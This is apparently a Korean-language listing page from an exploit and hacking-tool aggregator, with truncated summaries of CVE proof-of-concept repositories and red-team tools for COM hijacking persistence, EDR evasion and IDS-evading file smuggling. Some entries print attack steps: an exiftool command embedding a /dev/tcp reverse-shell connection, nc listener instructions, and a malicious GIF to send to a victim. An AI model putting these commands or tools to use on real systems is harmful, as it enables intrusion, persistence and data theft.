CVE-2026-44024_exploit

CVE-2026-44024 — Fluentd outfile $tag 경로 탐색 임의 파일 쓰기 Fluentd의 outfile 플러그인에서 $tag 플레이스홀더를 통한 인증 없는 임의 파일 쓰기 취약점. outfile은 운영자가 $tag 플레이스홀더로 출력 경로를 템플릿화할 수 있게 합니다 예: path /var/log/fluent/$tag. Outputextractplaceholders lib/fluent/plugin/output.rb는 ../을 검사하지 않고CWE-22 이벤트의 태그를 경로에 대입합니다:...

Caboom

Caboom root@kitploit: ██████╗ █████╗ ██████╗ ██████╗ ██████╗ ███╗ ███╗ ██╗ ██╔════╝██╔══██╗██╔══██╗██╔═══██╗██╔═══██╗████╗ ████║ ██║ ██║ ███████║██████╔╝██║ ██║██║ ██║██╔████╔██║ ██║ ██║ ██╔══██║██╔══██╗██║ ██║██║ ██║██║╚██╔╝██║ ╚═╝ ╚██████╗██║ ██║██████╔╝╚██████╔╝╚██████╔╝██║ ╚═╝ ██║ ██╗...

SteganographierGUI

SteganographierGUI 파일을 MP4/MKV 파일에 은닉하기 "파일 확장자 "라는 단어의 의미를 이해한 상태에서 아래 튜토리얼을 시청하세요. 이해가 되지 않는다면 먼저 "파일 확장자 변경 방법"을 검색하세요. 확장자를 변경했는데도 여전히 MP4로 표시된다면 확장자 표시 기능이 켜져 있지 않은 것입니다. 역시 위 내용을 검색하세요. 압축 해제가 안 되는 경우|왜 동영상이지|비밀번호 오류|파일 손상|분할 압축 필요|등 MP4 확장자를 .zip으로 변경한 후 WinRAR 로 압축 해제 MP4 확장자를 .zip으로 변경한 ...

COM-Hunter

COM-Hunter COM 하이재킹 VOODOO 설명 COM-Hunter는 COM 하이재킹 지속성 도구입니다. .NET 버전과 Cobalt Strike와 완벽히 호환되는 BOF 변형으로 제공됩니다. 다음 목록은 사용 가능한 모드를 설명합니다: 검색 모드 : HKLM 및 HKCU의 LocalServer32, InprocServer32 및 레지스트리 항목을 기반으로 CLSID를 검색합니다. 클래식 지속 모드 : LocalServer32 또는 InprocServer32를 사용하여 클래식 COM 하이재킹 지속성을 수행합니다. 작업...

CVE-2026-22241

🚨 CVE-2026-22241 - Open eClass 테마 가져오기 원격 코드 실행 📌 취약점 요약 널리 사용되는 오픈소스 학습 관리 시스템LMS인 Open eClass일명 GUnet eClass의 테마 가져오기Theme Import 기능에 심각한 무제한 파일 업로드Unrestricted File Upload 취약점이 존재합니다. 인증된 관리자가 악성 ZIP 파일을 업로드하여 서버에서 원격 코드 실행RCE 을 유발할 수 있습니다. ⚠️ 영향받는 버전 버전| 상태 ---|--- Open eClass 4.2| 취약함 Open...

fisy-fuzz

FIle SYstem - FUZZer 이것은 제가 4월에 열린 Hack in the Box 2020 Lockdown Edition 컨퍼런스에서 발표한 전체 파일 시스템 퍼징 프레임워크입니다. 컨퍼런스 발표 컨퍼런스 발표 단일 영상 컨퍼런스 자료 목표 이 프레임워크의 목표는 BSD 시스템에 중점을 두고 UNIX 시스템에서 커널 보안 버그를 발견하는 것입니다. FreeBSD, OpenBSD, NetBSD를 대상으로 개발 및 집중 테스트가 이루어졌으며, Linux 호스트에 대한 일부 기본 지원도 포함되어 있습니다. UFS 및 EXT...

CVE-2023-33477

CVE-2023-33477 Harmonic NSG 9000-6G 변조기에서 config.exp 설정 파일의 무단 다운로드 취약점 해당 모델 변조기의 "cgi.bin/config.exp" 파일에 대한 접근 권한 확인이 누락되어, 원격으로 연결된 모든 사용자가 설정 파일을 다운로드 요청할 수 있습니다. 설정 파일에는 많은 수의 민감한 인터페이스가 포함되어 있으며 요청 방식이 파일에 기록되어 있어, 공격자가 장치에 대한 추가 테스트를 수행할 수 있습니다...

CVE-2022-46364-htb-ctf

DevArea SOAP 익스플로잇 도구 CVE-2022-46364 설명 이 특화된 익스플로잇은 Hack The Box 의 DevArea 환경을 대상으로 합니다. 이는 Apache CXF 3.2.14 의 심각한 취약점CVE-2022-46364을 이용하여 Local File Inclusion LFI 및 Server-Side Request Forgery SSRF를 수행합니다. 이 스크립트는 MTOM/XOPMessage Transmission Optimization Mechanism 처리 엔진을 악용합니다. 요소를 주입하여 서버의...

Mangle

이 저장소는 보관 처리되었습니다 Mangle의 최신 버전을 보거나 이슈를 제출하려면 https://github.com/Tylous/Mangle을 참조하십시오. Mangle Tyl0us 제작 Source Zero Con 2022에서 소개됨 Mangle은 컴파일된 실행 파일.exe 또는 DLL의 여러 측면을 조작하는 도구입니다. Mangle은 알려진 침해 지표IoC 기반 문자열을 제거하고 무작위 문자로 대체하며, 파일 크기를 늘려 EDR을 회피하고, 합법적인 파일의 코드 서명 인증서를 복제할 수 있습니다. 이를 통해 Mangle은...

CVE-2024-41713-PoC-exploit

CVE-2024-41713-PoC-exploit Mitel MiCollab 認証バイパスから任意のファイル読み取り root@kitploit: ❯ ./cve-2024-41713-exploit.sh Exploiting CVE-2024-41713 to read /etc/passwd ... + Extracted users from /etc/passwd: root bin daemon adm lp mail operator games ftp nobody root@kitploit: ❯ cat debugresponse.txt...

cve-2019-6453-poc

CVE-2019-6453: 사용자 정의 URI 프로토콜 핸들러를 통한 인수 주입으로 mIRC 7.55에서의 RCE mIRC에서 irc:// URI 프로토콜 핸들러를 통해 원격 코드 실행Remote Code Execution 취약점 을 발견했습니다. mIRC는 인수 목록의 끝을 표시하기 위해 -- 같은 시길을 사용하지 않기 때문에, 공격자는 irc:// 링크를 통해 mIRC에 인수를 전달하고 공격자가 제어하는 Samba 파일 서버에서 사용자 정의 mirc.ini 를 로드하여 임의 코드를 실행할 수 있습니다. ircs://도...

skyhook

Skyhook Skyhook is a REST-driven utility used to smuggle files into and out of networks defended by IDS implementations. It comes with a pre-packaged web client that uses a blend of React, vanilla JS, and web assembly to manage file transfers. Key Links Download here See the user documentation to...

skyhook

Skyhook Skyhook는 IDS 구현으로 방어된 네트워크에서 파일을 들여오고 내보내는 데 사용되는 REST 기반 유틸리티입니다. React, 바닐라 JS 및 웹 어셈블리를 혼합하여 파일 전송을 관리하는 사전 패키지된 웹 클라이언트가 함께 제공됩니다. 주요 링크 여기에서 다운로드 시작하려면 사용자 문서를 참조하세요 기능 왕복 파일 콘텐츠 난독화 사용자 구성 가능한 난독화 체이닝 자체 서명 및 Lets Encrypt 인증서 획득 방법 구성 및 파일 전송을 위한 내장 웹 애플리케이션. 서버 지문 인식 탄력 기술: 파일 전송...

CVE-2021-43008-AdminerRead

CVE-2021-43008 - AdminerRead Adminer 1.0부터 4.6.2까지의 임의 파일 읽기 취약점을 위한 익스플로잇 도구 설치 root@kitploit: git clone https://github.com/p0dalirius/AdminerRead cd AdminerRead sudo python3 setup.py install 사용법 취약한 버전...

cve-2022-23636-poc

CVE-2022-23626 - m1k1o's Blog 인증된 원격 코드 실행 m1k1o's Blog v1.3 및 이하 버전에서 파일 업로드 취약점을 통한 인증된 원격 코드 실행. 설명 ajax.php?action=uploadimage 엔드포인트는 업로드된 파일 유형을 적절히 검증하지 않아, 인증된 사용자가 이미지로 위장한 PHP 웹셸을 업로드할 수 있습니다. 공격자는 업로드된 파일을 직접 요청하여 실행을 트리거할 수 있습니다. 참고 EDB-50943 CVE-2022-23626 m1k1o/blog GitHub 영향받는 버전...

CVE-2024-36991

CVE-2024-36991 CVE-2024-36991에 대한 POC: 이 익스플로잇은 Splunk의 /etc/passwd 파일을 읽으려고 시도합니다. 개요 이 도구는 CVE-2024-36991에 대한 대량 스캔 및 익스플로잇 도구입니다. 이 취약점은 Windows에서 실행되는 Splunk Enterprise 9.2.2, 9.1.5, 9.0.10 미만 버전에 영향을 미치는 경로 순회Path Traversal 취약점입니다. 이 취약점은 Danylo Dmytriiev에 의해 발견되었습니다. 사용 방법 최소 요구 사항 Python 3...

CVE-2023-24610

CVE-2023-24610 CVE-2023-24610에 대한 개념 증명PoC입니다. 먼저 exiftool을 사용하여 polyglot 파일을 생성합니다: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php 파일을 png로 변경하여 프론트엔드 검사를 통과하게 합니다. 그런 다음 포트 8888에서 nc 리스너를 시작하여 셸을 받습니다. 다음 단계는 애플리케이션에 로그인한 후 setup을 클릭하는 것입니다. 페이지 하단에 practice logo 영역이...

CVE-2023-4220-Chamilo-LMS

Chamilo LMS 인증되지 않은 대용량 업로드 파일 RCE PoC 이 스크립트는 CVE-2023-4220 에 설명된 Chamilo's LMS 소프트웨어 보안 결함을 악용할 수 있게 합니다. 해당 시스템은 1.11.24 이전 버전에서 취약합니다. 사용법 저장소를 로컬 머신에 클론하고 pip 를 사용하여 의존성을 설치하세요 이러한 설치를 전역 설치와 분리하기 위해 virtualenv 를 사용하여 환경을 생성하는 것이 좋습니다 root@kitploit: git clone...

CVE-2023-47246-EXP

취약점 세부 정보 1. fofa: root@kitploit: body="sysaid-logo-dark-green.png" || title="SysAid Help Desk Software" || body="Help Desk software by SysAid" 2. 영향을 받는 버전: SysAid Server23.3.36 취약점 재현 1. 스크립트 실행: root@kitploit: git clone https://github.com/W01fh4cker/CVE-2023-47246-EXP.git cd CVE-2023-47246-EXP...

CVE-2020-11932

CVE-2020-11932 WhatsApp 익스플로잇 poc의 Double-Free 버그. 참고: 쉘을 얻기 위해 exploit.c에 수신자listener IP를 설정해야 합니다. nc -lvp 1337 또는 원하는 포트. 그런 다음 컴파일하세요. make 또는 gcc -o exploit egiflib.c exploit.c 그런 다음 ./exploit을 실행하고 내용을 .gif로 저장하세요. 피해자에게 보내세요. 출처...